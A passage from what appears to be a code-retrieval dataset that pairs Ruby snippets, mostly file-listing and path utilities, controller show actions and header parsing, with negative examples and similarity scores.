"def get_keys(hsh, prefix = \"\")\n keys = []\n\n hsh.each do |k, v|\n if v.is_a? Hash\n subprefix = k\n subprefix = prefix + \"-\" + subprefix unless prefix.empty?\n keys += get_keys(v, subprefix)\n else\n key = prefix + \"-\" + k unless prefix.empty?\n keys << key\n end\n end\n\n keys\nend",
"def getFilesinDir(path, logkey='')\n files = Mcmlln::Tools.dirListFiles(path)\n return files\nrescue => logstring\n return []\nensure\n Mcmlln::Tools.logtoJson(@log_hash, logkey, logstring)\nend",
"def event_folders events\n events.group_by {|e| dir_name(e.file_name) }.keys.sort.uniq\nend",
"def get_important_files dir\n list = []\n l = dir.size + 1\n s = nil\n ($visited_files + $bookmarks.values).each do |e|\n if e.index(dir) == 0\n #list << e[l..-1]\n s = e[l..-1]\n next unless s\n if s.index \":\"\n s = s[0, s.index(\":\")] + \"/\"\n end\n # only insert if the file is in a deeper dir, otherwise we'll be duplicating files from this folder\n list << s if s.index \"/\"\n end\n end\n # bookmarks have : which needs to be removed\n #list1 = $bookmarks.values.select do |e|\n #e.index(dir) == 0\n #end\n #list.concat list1\n return list\nend",
"def get_child_paths(challenge)\n challenge.fetch('children').map {|challenge_name| \"#{challenge_name}.yaml\" }\n end",
"def dir_entries(base_path, path)\n entries = {}\n effective_path = base_path + path\n Dir.foreach(effective_path) do |fname|\n next if fname == '.' || fname == '..' || filter_fname(path + fname)\n entries[fname] = File.ftype(effective_path + fname).to_sym\n end\n entries\n end",
"def get_recursive_keys(hash, nested_key=nil)\n hash.each_with_object([]) do |(k,v),keys|\n k = \"#{nested_key}.#{k}\" unless nested_key.nil?\n if v.is_a? Hash\n keys.concat(get_recursive_keys(v, k))\n else\n keys << k\n end\n end\nend",
"def subdir_and_filename_for(entry)\n Pathname.new(entry).split\n end",
"def all_paths\n\t\t\t\treturn @all_paths if @all_paths.length > 0\n\n\t\t\t\t# Looks like we have to build a list of paths!\n\t\t\t\tputs \"[MacroDeck::TurkResponseTree::Tree] Getting all paths...\"\n\t\t\t\[email protected]_path do |path, value|\n\t\t\t\t\tif !@all_paths.include?(path)\n\t\t\t\t\t\tputs \"[MacroDeck::TurkResponseTree::Tree] Adding path #{path}\"\n\t\t\t\t\t\t@all_paths << path\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend",
"def recursive_file_list( root_dir)\n\t\treturn nil unless File.directory?(root_dir)\n\t\tlist = []\n\t\tDir.entries( root_dir).reject{|e| e=~/^\\./}.each { |e| \n\t\t\tpath = File.join( root_dir, e)\n\t\t\tif File.directory?( path)\n\t\t\t\t# puts \"Dir: #{path}\"\n\t\t\t\t list += recursive_file_list(path)\n\t\t\telsif File.file?(path)\n\t\t\t\t# puts \"File: #{path}\"\n\t\t\t\t list << path\n\t\t\tend\t\n\t\t}\n\t\tlist\n\tend",
"def get_paths(key, noverify = true, zone = nil)\n opts = { :domain => @domain, :key => key,\n :noverify => noverify ? 1 : 0, :zone => zone }\n @backend.respond_to?(:_get_paths) and return @backend._get_paths(opts)\n res = @backend.get_paths(opts)\n (1..res['paths'].to_i).map { |i| res[\"path#{i}\"] }.compact\n end",
"def get_children(directory)\n file = Pathname.new(directory)\n if file.directory?\n file.children\n else \n []\n end\nend",
"def file_get_files(directories) \n directory = \"\"\n files = []\n directories.each do |directory| \n unless directory == \"/root\"\n Dir.chdir(\"#{directory}\") \n Dir.foreach(\"#{directory}\") do |d| \n files.push(d) unless d == \".\" || d == \"..\" \n end\n @file_information.store(directory, files)\n files = []\n end\n end\n return @file_information\n end",
"def logical_paths\n return to_enum(__method__) unless block_given?\n\n seen = Set.new\n\n self.paths.each do |load_path|\n stat_tree(load_path).each do |filename, stat|\n next unless stat.file?\n\n path = split_subpath(load_path, filename)\n path, mime_type, _ = parse_path_extnames(path)\n path = normalize_logical_path(path)\n path += mime_types[mime_type][:extensions].first if mime_type\n\n if !seen.include?(path)\n yield path, filename\n seen << path\n end\n end\n end\n\n nil\n end",
"def logical_paths\n return to_enum(__method__) unless block_given?\n\n seen = Set.new\n\n paths.each do |load_path|\n stat_tree(load_path).each do |filename, stat|\n next unless stat.file?\n\n path = split_subpath(load_path, filename)\n path, mime_type, _, _ = parse_path_extnames(path)\n path = normalize_logical_path(path)\n path += mime_types[mime_type][:extensions].first if mime_type\n\n if !seen.include?(path)\n yield path, filename\n seen << path\n end\n end\n end\n\n nil\n end",
"def dirHash(directory, regexp)\n directory = Pathname.new(directory)\n contents = \"\"\n Dir.foreach(directory) {\n | entry |\n if entry =~ regexp\n contents += IO::read(directory + entry)\n end\n }\n return Digest::SHA1.hexdigest(contents)\nend",
"def files_in branch:\n array_output_of(\"git ls-tree -r --name-only #{branch}\")\nend",
"def get_file_names path\n Dir.entries(path).select { |file| !File.directory? File.join(path, file) }\n end",
"def get_array_of_mapped_folder_names\n array = []\n flattened_diffs = @mapped_diffs.flatten \n i = 1 \n while i <= Babygitter.folder_levels.max\n folder_names = []\n for diff in flattened_diffs\n folder_names << diff.filename.scan(build_regexp(i)) \n end\n i += 1\n array << folder_names.flatten.uniq \n end\n array\n end",
"def full_entries(dirname=mpwd)\n simple_entries(dirname).map {|e| File.join(dirname,e) }\n end",
"def iterate_over_file_paths\n parsed_file.each do |hit|\n file_path_array << hit[0]\n end\n file_path_array\n end",
"def find_paths(dir=\"\")\n base = File.join(@source, dir)\n entries = Dir.chdir(base) { filter_entries(Dir[\"*\"]) }\n paths = []\n\n entries.each do |entry|\n absolute_path = File.join(base, entry)\n relative_path = File.join(dir, entry)\n\n if File.directory?(absolute_path)\n paths.concat find_paths(relative_path)\n else\n paths << absolute_path\n end\n end\n paths\n end",
"def listFileHashes(baseDir)\n #N Un-normalised, an off-by-one error would occur when 'subtracting' the base dir off the full paths to get relative paths\n baseDir = normalisedDir(baseDir)\n #N Without this, we would have nowhere to accumulate the file hash objects\n fileHashes = []\n #N Without this, we would not be executing and parsing the results of the file-listing command\n listFileHashLines(baseDir) do |fileHashLine|\n #N Without this, we would not be parsing the result line containing this file and its hash value\n fileHash = self.hashCommand.parseFileHashLine(baseDir, fileHashLine)\n #N Without this check we would be accumulating spurious nil values returned from listFileHashLines (even though listFileHashLines doesn't actually do that)\n if fileHash != nil\n #N Without this, we would fail to include this file & hash in the list of file hashes.\n fileHashes << fileHash\n end\n end\n return fileHashes\n end",
"def file_hash_and_extension_to_array( h, ext = nil )\n\t\tr = self.class.file_hash_to_split_array( h, self.storage_folder_max_depth, self.storage_folder_max_name_length )\n\t\tr[r.size - 1] = r.last + '.' + ext unless ext.nil?\n\t\tr\n\tend",
"def ls(dirpath = nil, filesmatch = '*')\n dirpath << '/' unless dirpath.nil? || dirpath.end_with?('/')\n offset = dirpath.nil? ? 0 : dirpath.length\n r = Regexp.new(\"^#{Regexp.escape(filesmatch)}$\".gsub('\\*','.*').gsub('\\?','.'))\n bucket.as_tree(:prefix => dirpath).children.select(&:leaf?).map{|f| f.key[offset..-1]}.select{|f| f.match(r)}\n end",
"def getFiles(tree, name)\n files = []\n\n tree.each_tree do |subtree|\n path = name + subtree[:name] + '/'\n subfiles = getFiles($repo.lookup(subtree[:oid]), path)\n files.push(*subfiles)\n end\n\n tree.each_blob do |file|\n file[:name] = name + file[:name]\n files.push(file)\n end\n\n return files\nend",
"def files_from(dir)\r\n unless @dirs[dir].key?(:recursive_files)\r\n ensure_dir_data(dir)\r\n recursive_files = Hash[@dirs[dir][:files].keys.map { |file| [\"#{dir}/#{file}\", nil] }]\r\n @dirs[dir][:dirs].keys.each do |subdir|\r\n recursive_files.merge!(Hash[files_from(\"#{dir}/#{subdir}\").map { |file| [file, nil] }])\r\n end\r\n @dirs[dir][:recursive_files] = recursive_files\r\n end\r\n @dirs[dir][:recursive_files].keys\r\n end",
"def map_files\n file_map = {}\n entry_file = Pathname.new(map_entry)\n entry_found = false\n case @files\n when Hash\n @files.each do |path, file|\n file_map[path.to_s] = File.expand_path(file.to_s)\n entry_found = true if path.to_s==entry_file.to_s\n end\n else\n base_paths = @base_paths.collect {|path| Pathname.new(path).expand_path }\n @files.each do |fn|\n next unless fn\n relpath = strip_path(base_paths, fn) || fn\n file_map[relpath.to_s] = File.expand_path(fn.to_s)\n entry_found = true if relpath==entry_file\n end\n end\n file_map[entry_file.to_s] = File.expand_path(@entry_file.to_s) unless entry_found\n file_map\n end",
"def ls_r path\n ls(path).inject([]){|rec_paths,path| rec_paths << path; rec_paths << ls(path) unless file?(path); rec_paths}.flatten\n end",
"def key_file_path(key)\n fname = URI.encode_www_form_component(key)\n hash = Zlib.adler32(fname)\n hash, dir_1 = hash.divmod(0x1000)\n dir_2 = hash.modulo(0x1000)\n fname_paths = []\n\n # Make sure file name doesn't exceed file system limits.\n begin\n fname_paths << fname[0, FILENAME_MAX_SIZE]\n fname = fname[FILENAME_MAX_SIZE..-1]\n end until fname.nil? || fname == \"\"\n\n File.join(@root_path, DIR_FORMATTER % dir_1, DIR_FORMATTER % dir_2, *fname_paths)\n end",
"def subdirectory_keys(key)\n raise \"subclass responsibility\"\n end",
"def read(key)\n if ::File.file?(full_key(key))\n ::File.read(full_key(key))\n elsif ::File.directory?(full_key(key))\n Dir.entries('.')[2..-1] #don't return the . and .. directories\n end\n end",
"def file_get_initialization(structure = ENV[\"HOME\"]) # this is linux specific for now\n @file_information = {} # {\"/directory\"=>[\"file\"], \"/directory/directory\"=>[\"file\", \"file\"]\n files = [] \n directory = \"\"\n directories = [] \n things = structure.split('/')\n things.each do |thing|\n if thing == \"\"\n directories.push(\"/root\")\n else\n directory = \"#{directory}/#{thing}\" \n @current_directory = directory\n directories.push(\"#{directory}\") if File.directory?(\"#{directory}\")\n end\n end \n return directories\n end",
"def json_dir_names\n DIR.entries\n .map(&:basename)\n .map(&:to_s)\n .select { |dirname| dirname =~ /^[0-9]+\\.[0-9]/ }.sort\n end",
"def filepath(id)\n tokens = hmac(id).chars.each_slice(2).map(&:join)\n result = []\n nesting_depth.times { result << tokens.shift }\n result << tokens.join\n result.join('/')\n end",
"def expound_paths(*entries)\n paths = []\n\n entries.each do |entry|\n entry = entry.strip\n\n next if entry.empty?\n next if entry.start_with?('#')\n\n if File.directory?(entry)\n if library_path?(entry)\n paths << entry\n else\n if File.directory?(File.join(entry, 'gems'))\n subpaths = Dir.glob(File.join(entry, 'gems/*/'))\n else\n subpaths = Dir.glob(File.join(entry, '*/'))\n end\n subpaths.each do |subpath|\n paths << subpath if library_path?(subpath)\n end\n end\n elsif File.file?(entry)\n paths.concat(expound_paths(*File.readlines(entry)))\n else\n glob_paths = Dir.glob(entry)\n if glob_paths.first != entry\n paths.concat(expound_paths(*glob_paths))\n end\n end\n end\n\n paths\n end",
"def list_files(env, res, tag, path)\n files = []\n git(\"ls-tree\", \"-z\", \"#{tag}:#{path}\") do |io|\n io.each_line(\"\\0\") do |line|\n line.chomp!(\"\\0\")\n #STDERR.puts line\n info, file = line.split(/\\t/, 2)\n mode, type, object = info.split(/ /)\n files << {\n :mode => mode,\n :type => type,\n :object => object,\n :file => file,\n }\n end\n end\n files = files.sort_by{|h| h[:file] }\n E_list_files.result(binding)\n end",
"def file_name_array(directory_name)\n filenames_array = []\n Dir.foreach(directory_name) do |filename|\n unless filename == \".\" || filename == \"..\" || filename == \".DS_Store\"\n filenames_array << filename\n end\n end\n parse_filenames(directory_name, filenames_array)\n end",
"def sp_hash_from_dirs( dirs )\n r = {}\n dirs.each do |dir|\n Dir.glob( \"#{dir}/*.rb\" ).each do |path|\n filename = File.basename( path )\n r[filename] ||= path\n end\n end\n r\nend",
"def filepaths\n object.object_files.map(&:relative_path)\n end",
"def get_all_file_data(revision, assignment, path)\n full_path = File.join(assignment.repository_folder, path)\n return [] unless revision.path_exists?(full_path)\n\n files = revision.files_at_path(full_path)\n entries = get_files_info(files, assignment.id, revision.revision_identifier, path)\n\n entries.each do |data|\n data[:key] = path.blank? ? data[:raw_name] : File.join(path, data[:raw_name])\n data[:modified] = data[:last_revised_date]\n data[:size] = 1 # Dummy value\n end\n\n revision.directories_at_path(full_path).each do |directory_name, _|\n entries.concat(get_all_file_data(\n revision,\n path.blank? ? directory_name : File.join(path, directory_name)\n ))\n end\n\n entries\n end",
"def files_in(dir)\r\n ensure_dir_data(dir)\r\n @dirs[dir][:files].keys\r\n end",
"def retrieve_files_in_main_dir\n ensure_file_open!\n @file.glob('*').map do |entry|\n next if entry.directory?\n\n entry_file_name = Pathname.new(entry.name)\n [entry_file_name, entry.get_input_stream(&:read)]\n end.compact.to_h\n end",
"def list_files\n files = remote_directory.files.map { |file| file.key }\n\n # The first item in the array is only the path an can be discarded.\n files = files.slice(1, files.length - 1) || []\n\n files\n .map { |file| Pathname.new(file).basename.to_s }\n .sort\n .reverse\n end",
"def file_names\n file_names = []\n @bucket.objects.each do |obj|\n file_names << obj.key\n end\n file_names\n end",
"def dir(hash={})\n\t\t$_TAGHASH_['GSj'].concat(DIRMAP[hash['value']])\n\tend",
"def ingest_paths\n path = Pathname.new(Figgy.config[\"ingest_folder_path\"]).join(ingest_directory)\n return [] unless path.exist?\n path.children.select(&:directory?)\n end",
"def file_paths\n Dir.glob(@filepath_pattern).sort\n end",
"def files_hash\n @files_hash\n end",
"def path(match, options={})\n return [] if options[:from]\n\n found = []\n $LOAD_PATH.uniq.map do |path|\n list = Dir.glob(File.join(File.expand_path(path), match))\n list = list.map{ |d| d.chomp('/') }\n found.concat(list)\n end\n found.concat(data_path(match, options))\n found\n end",
"def join_keys(hash, parent_keys = [])\n hash.inject([]) do |keys, (key, value)|\n full_key = parent_keys + [key]\n if value.is_a?(Hash)\n keys += join_keys(value, full_key)\n elsif !value.nil?\n keys << [full_key.join('.'), parse_value(value)]\n end\n keys\n end\n end",
"def extract\n entries.map(&:pathname)\n end",
"def keys\n head.commit.tree.contents.map{|blob| deserialize(blob.name) }\n end",
"def keys\n head.commit.tree.contents.map{|blob| deserialize(blob.name) }\n end",
"def directory_hash(path, name=nil, exclude = [])\n exclude.concat(['..', '.', '.git', '__MACOSX', '.DS_Store'])\n data = {'name' => (name || path), 'type' => 'folder'}\n data[:children] = children = []\n Dir.entries(path).sort.each do |entry|\n # Dir.entries(path).each\n # puts entry\n next if exclude.include?(entry)\n full_path = File.join(path, entry)\n if File.directory?(full_path)\n if entry.include?(\"credit app\")\n kids = Dir.entries(full_path)\n kids.reject! {|x|exclude.include?(x)}\n if kids.length >= 1\n # can add a kids.each loop here if mom ever wants more than one credit app\n child_path = File.join(full_path, kids[0])\n true_path = child_path.partition(\"app/assets/images/\")[2]\n link = ActionController::Base.helpers.image_path(true_path)\n # puts full_path\n # puts link\n entry = entry.split('.')[0]\n if entry.include?('--')\n entry = entry.split('--')[1]\n end\n entry = entry.upcase\n\n children << \"<li class='category'>CREDIT APP<li class='kid'><a href='#{link}'>#{entry}</a></li></li>\"\n else\n # gotta fix these two somehow\n children << \"<li><a href='#'>NO APP</a></li>\"\n end\n elsif entry.include?('flipbook')\n # Dir.entries(full_path).each do |flipbook|\n # next if exclude.include?(flipbook)\n # if File.directory?(full_path)\n name = entry.split(\"-\")[1]\n name = name.upcase\n if @account==\"UNDER ARMOUR\" && full_path.include?('UA GOLF')\n uasub = 'UA GOLF'\n elsif @account==\"UNDER ARMOUR\" && full_path.include?('UA FITNESS')\n uasub = 'UA FITNESS'\n end\n\n linky = view_context.link_to name, controller: 'catalogues', action: 'flipbook', id: @account, subid: entry, :data => { :uaname => uasub }\n children << \"<li class='kid'>#{linky}</li>\"\n # catfolder = full_path.split('/flipbook')[0]\n # end\n\n # end\n elsif entry.include?(\"toplevel\")\n # replace toplevel with a better check, something like if parent = pictures\n entryname=entry.split('-')[0].upcase\n children << \"<li class='kid'><a href='/catalogues/#{@account}/pictures/#{entry}'>#{entryname}</a></li>\"\n\n else\n children << directory_hash(full_path, entry)\n end\n else\n # true_path = full_path.partition(\"app/assets/images/\")[2]\n\n true_path = full_path.partition(\"app/assets/images/\")[2]\n # puts true_path\n link = ActionController::Base.helpers.image_path(true_path)\n\n # puts link\n entry = entry.split('.')[0]\n if entry.include?('--')\n entry = entry.split('--')[1]\n end\n # this is where final kids are created\n entry = entry.upcase\n children << \"<li class='kid'><a href='#{link}'>#{entry}</a></li>\"\n end\n end\n return data\n end",
"def sp_hash_from_dirs(dirs)\n r = {}\n dirs.each do |dir|\n Dir.glob(\"#{dir}/*.rb\").each do |path|\n filename = File.basename(path)\n r[filename] ||= path\n end\n end\n r\nend",
"def path_with_keys()\n path = []\n\n for part in @path\n if part.is_a? String\n path << part\n elsif part.is_a? Symbol\n path << (yield part)\n else\n raise \"Invalid path part: #{part}\"\n end\n end\n '/' + path.join('/')\n end",
"def recurse_and_hash_tree(node)\n\n ## exit program if given a bunk file/dir\n print_and_exit \"given a bunk file/node\" unless File.exist? node\n\n ## if we have a file then return it's hash\n return Digest::MD5.hexdigest( node + File.read(node) ) if File.file? node\n\n ## we should have a directory now. exit otherwise...\n print_and_exit \"is there a strange device in this dir?\" unless File.directory? node\n\n ## recurse through each element in the directory and remember their hashes\n children_hash = \"\"\n Dir.glob(File.join node, '*' ) { |element| children_hash << recurse_and_hash_tree(element) }\n \n ## return the mashed up hash\n return Digest::MD5.hexdigest( node + children_hash ) \n\n end"
] |
[
"0.6467754",
"0.6353136",
"0.6223243",
"0.6223243",
"0.60921377",
"0.60659885",
"0.60421485",
"0.5976336",
"0.59394246",
"0.5938303",
"0.59350574",
"0.58993495",
"0.58643603",
"0.5835709",
"0.58329815",
"0.58142596",
"0.5782391",
"0.5778076",
"0.5765533",
"0.5753983",
"0.57358915",
"0.573253",
"0.5727694",
"0.5725616",
"0.5711655",
"0.5677261",
"0.56635445",
"0.5654988",
"0.5643841",
"0.564189",
"0.56128496",
"0.5612285",
"0.56104577",
"0.5597481",
"0.5572499",
"0.55618256",
"0.5558187",
"0.5547375",
"0.5545544",
"0.5542038",
"0.5535448",
"0.55320615",
"0.5518501",
"0.55171233",
"0.5501825",
"0.5498682",
"0.5496278",
"0.54944354",
"0.5489419",
"0.5489003",
"0.548639",
"0.5471979",
"0.5471234",
"0.5465381",
"0.5462387",
"0.5451068",
"0.5448827",
"0.5447109",
"0.54453826",
"0.5444466",
"0.54438865",
"0.54352134",
"0.543415",
"0.54311126",
"0.54275376",
"0.5418407",
"0.5416208",
"0.5413864",
"0.54120594",
"0.54088855",
"0.5407354",
"0.5397744",
"0.5390958",
"0.538598",
"0.5381763",
"0.5374318",
"0.5365714",
"0.536417",
"0.5363151",
"0.53582",
"0.5352563",
"0.53497803",
"0.5345361",
"0.533712",
"0.53327686",
"0.5332204",
"0.533014",
"0.53297997",
"0.5318218",
"0.531488",
"0.530716",
"0.53056556",
"0.53038365",
"0.5295308",
"0.52834195",
"0.52834195",
"0.5281294",
"0.52796155",
"0.52793956",
"0.5278642"
] |
0.7308784
|
0
|
before_filter :fetch_user, only: [:show]
|
def index
render json: {
error: nil,
data: @current_user.api_hash
}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n # not_found unless @user\n # @user = User.get(params[:id]) || not_found\n # authorize! :show, @user\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @user }\n end\n end",
"def show\n # Pundit authorization can be skipped because\n # before_filter :authorize_user_index handles authorization\n skip_authorization\n\n @user = User.find_by_id(params[:id])\n\n if @user == nil\n @user = User.find_by_id(current_user.id)\n end\n\n respond_to do |format|\n format.html\n format.json { render :json => @user, status: 200 }\n end\n end",
"def show\n @user = get_user\n end",
"def show\n show_user\n end",
"def show\n @user = find_user\n end",
"def show\n load_user\n return if (@user.blank?)\n\n respond_to do|format|\n format.html\n end\n end",
"def show\n check_user\n end",
"def show\n authorize! :show, @user\n end",
"def show\n set_user\n end",
"def show\n require_user()\n end",
"def show\n # find the user by the user id in the route params\n # (this will likely be moved to its own before method)\n @user = User.find(params[:id])\n end",
"def show\n render_show @user\n end",
"def show\n @user = User.find(params[:id])\n authorize @user\n end",
"def show\n authorize @user\n render json: @user\n end",
"def show\n # сделать текущего пользователя адмиристратором\n #current_user.update_attribute :admin, true\n @user = User.find(params[:id])\n @title = @user.username\n #@user_internals = @user.user_internals.paginate(page: params[:page])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def show\n @shown_user = User.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def show\n \tauthorize! :read, @user\n end",
"def show\n authorize User\n end",
"def show\n authorize User\n end",
"def show\n @users = User.all\n authorize @colaboradore\n end",
"def show\n @user = User.find(params[:id])\n @authorized_user = User.find(session[:user_id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def show\n authorize @user\n end",
"def show\n authorize @user\n end",
"def show\n authorize @user # Can only see your own profile\n end",
"def show\n @user = current_user\n authorize @user\n end",
"def show\n\t\t@user = User.find(params[:id])\n\t\tauthorize @user\n\tend",
"def show\n # @user = User.find(params[:id])\n @user = current_user\n end",
"def show\n @user = User.find(params[:id])\n render :show\n end",
"def show\n @user = User.find(params[:id])\n render :show\n end",
"def show\n \tuser = User.find params[ :user_id ]\n expose user, serializer: UserSerializer\n end",
"def show\n @user = User.find(params[:id])\n render\n end",
"def show\n set_page_title\n @user = User.find(params[:id])\n @managed_objects = @user.managed_objects\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def show\n # this finds the current user\n @user = User.find params[:id]\n end",
"def show\n @user = User.find(params[:id])\n authorize @user\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n unless @user\n render 'not_found_page'\n end\n end",
"def show\n if (params[:id] == current_user.id)\n @user = current_user\n else\n @user = User.find(params[:id])\n end\n\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def show\n @user = User.find(current_identity.user_id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def show\n if check_user_read_access\n respond_to do |format|\n format.html { render :show }\n format.json { render json: user || {} }\n end\n end\n end",
"def show\n if !current_user && params[:id] != current_user.id && current_user.is_admin == false\n \traise \"You are not authorized to access this function\"\n end\n @user = User.find(params[:id])\n respond_with(@user)\n end",
"def show\n @current_user = current_user\n @user = User.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :_user }\n end\n end",
"def show\n # @user = User.find(params[:id])\n @user = current_user\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def show\n verifica_user\n end",
"def show\n @user = current_user\n end",
"def show\n @user = User.find(params[:id])\n return access_denied unless (authorize?(permissions = [\"view_user\"]) || (authorize?(permissions = [\"view_own_user\"]) && @user.id == current_user.id))\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n authorize_action_for @user, at: current_store\n track @user\n end",
"def show\n @user = User.find(params[:id])\n @sources = current_user.sources.all\n @reports = current_user.reports.all\n @forms = current_user.forms.all\n @applications = current_user.owned_applications.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def show\n set_user_information\n authorize @user_information\n respond_with(@user_information)\n end",
"def show\n @user = @user.decorate\n end",
"def show\n @user = current_user\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def show\n #@user = User.find(params[:id])\n end",
"def show\n @user = User.find(params[:id]) # Find user's page to render\n end",
"def show\n @user = current_user\n end",
"def show\n @user = current_user\n end",
"def show\n @user = current_user\n end",
"def show\n @user = current_user\n end",
"def show\n @user = current_user\n end",
"def show\n @user = current_user\n end",
"def show\n @user = current_user\n end",
"def show\n @user = current_user\n end",
"def show\n @user = current_user\n end",
"def show\n @user = current_user\n end",
"def show\n @user = current_user\n end",
"def show\n @user = current_user\n end",
"def show\n @user = current_user\n end",
"def show\n @user = current_user\n end",
"def show\n @user = current_user\n end",
"def show\n @user = current_user\n end",
"def show\n @user = @current_user \n @user = User.find( params[:id] ) \n end",
"def show\n @user = params[:id].nil? ? current_user : User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def show\n # finds user with id of params[:id]\n @user = User.find params[:id]\n end",
"def show\n @user = User.find(params[:id])\n # show me the user page\nend",
"def show\n @test_user = current_user\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_user }\n end\n end",
"def before_filter\n if current_user\n true\n end\n end",
"def fetch_one_user_data\n get_url(\"/api/v1/users/#{@filter}\")\n end",
"def show\n @user = UserService.getUserById(params[:id])\n end",
"def show\n #@user=current_user\n end",
"def show\n redirect_to(default_url) unless logged_in? || User.count > 0\n @user = current_user\n end",
"def show\n \t# get particular user here\n \t@user = User.find_by_id(params[:id])\n \t# if not @user\n \t# \tredirect_to \"/users\"\n \t# end\n end",
"def show\n @user = User.find_by(username: params[:id])\n render :show\n end",
"def show\n\tif(filters)\n\t\tif(!session[:user_id])\n\t\t\tflash[:error] = \"Acceso denegado\"\n\t\t\tredirect_to home_path\n\t\t\treturn\n\t\tend\n\t\tif(!User.find(session[:user_id]).admin || !User.find(session[:user_id]).active)\n\t\t\tflash[:error] = \"Acceso denegado\"\n\t\t\tredirect_to home_path\n\t\t\treturn\n\t\tend\n\tend\n @user = User.find(params[:id])\n\n\tflash[:active_tab] = \"admin\"\n\t\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def show\n render json: @user, serializer: UserSerializer, root: false, status: 200\n end",
"def show\n render json: user_json(@user)\n end",
"def show\n respond_with( @user )\n end",
"def show\n @user = User.find(params[:user_id])\n \n end",
"def show\n @user = User.find(params[:id])\n @isAdmin = current_user.admin_rights\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def show\n @user = User.find_by(id: params[:id])\n render_404 unless @user\n end",
"def show\n get_user_for_edit\n end",
"def show\n @user = current_user\n respond_to do |format|\n format.html # show.html.slim\n end\n end",
"def show\n @user = User.find(params[:id])\n if !(current_user.isAdmin? or current_user == @user) \n redirect_to home_path, notice: \"Unauthorized!\"\n return\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def show\n @user= set_user\n render json: @user, status: :ok\n\n end",
"def show\n \t@user = User.find params[:id]\n end",
"def show\n @user = User.find(params[:id])\n @users = User.all\n end",
"def show\n login\n render view_for_user\n end",
"def show\n logger.debug(\"user show\")\n @user = User.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def show\n render json: User.find(params[:id])\n end",
"def show\n \trender json: @user\n end",
"def show\n render json: User.find(params[:id])\n end",
"def show\n @user = User.find(current_user.id)\n#redirect_to \"newsfeeds/index\"\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def show\n # loads one user in the database\n @user = User.find(params[:id])\n end",
"def show\n render :json => User.find(params[:id])\n end",
"def show\n redirect_user\n end"
] |
[
"0.7663275",
"0.76391554",
"0.7596993",
"0.74469143",
"0.74305034",
"0.7416079",
"0.74087596",
"0.73918456",
"0.7379166",
"0.7372741",
"0.73509556",
"0.7337657",
"0.7314534",
"0.729787",
"0.72761947",
"0.72253287",
"0.7211065",
"0.7207608",
"0.7207608",
"0.7207033",
"0.7200673",
"0.71763253",
"0.71763253",
"0.7158682",
"0.7156838",
"0.715489",
"0.7114881",
"0.7108993",
"0.7108993",
"0.70935714",
"0.70841885",
"0.708077",
"0.707273",
"0.7070019",
"0.705589",
"0.705525",
"0.7054134",
"0.70406014",
"0.70326215",
"0.7028052",
"0.70198387",
"0.7018459",
"0.7015258",
"0.70046073",
"0.6998976",
"0.6996427",
"0.6992693",
"0.6984048",
"0.698174",
"0.6977691",
"0.6965954",
"0.6962181",
"0.6962181",
"0.6962181",
"0.6962181",
"0.6962181",
"0.6962181",
"0.6962181",
"0.6962181",
"0.6962181",
"0.6962181",
"0.6962181",
"0.6962181",
"0.6962181",
"0.6962181",
"0.69612205",
"0.69609547",
"0.6956914",
"0.6955099",
"0.6952645",
"0.6952554",
"0.6946566",
"0.6940919",
"0.6937537",
"0.69364566",
"0.69348794",
"0.69329906",
"0.6921279",
"0.6921199",
"0.6918547",
"0.6918089",
"0.69132316",
"0.69113415",
"0.6910905",
"0.6909103",
"0.69063365",
"0.6906081",
"0.69042",
"0.6898438",
"0.68983316",
"0.68963933",
"0.68943864",
"0.6889174",
"0.6889053",
"0.68884873",
"0.6885146",
"0.6881781",
"0.6881504",
"0.6879651",
"0.68754154",
"0.68712443"
] |
0.0
|
-1
|
Creates a new header object. Accepts raw text or nothing. If given raw text will attempt to parse it and split it into the various fields, instantiating each field as it goes. If it finds a field that should be a structured field (such as content type), but it fails to parse it, it will simply make it an unstructured field and leave it alone. This will mean that the data is preserved but no automatic processing of that field will happen. If you find one of these cases, please make a patch and send it in, or at the least, send me the example so we can fix it.
|
def initialize(header_text = nil, charset = nil)
@charset = charset
self.raw_source = header_text
split_header if header_text
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def parse_header(raw)\n header = {}\n field = nil\n\n raw.each_line do |line|\n case line\n when /^([A-Za-z0-9!\\#$%&'*+\\-.^_`|~]+):\\s*(.*?)\\s*\\z/om\n field, value = $1, $2\n header[field] = value\n when /^\\s+(.*?)\\s*\\z/om\n value = $1\n fail \"bad header '#{line}'.\" unless field\n\n header[field][-1] << ' ' << value\n else\n fail \"bad header '#{line}'.\"\n end\n end\n\n header.each do |key, value|\n value.strip!\n value.gsub!(/\\s+/, ' ')\n end\n\n header\n end",
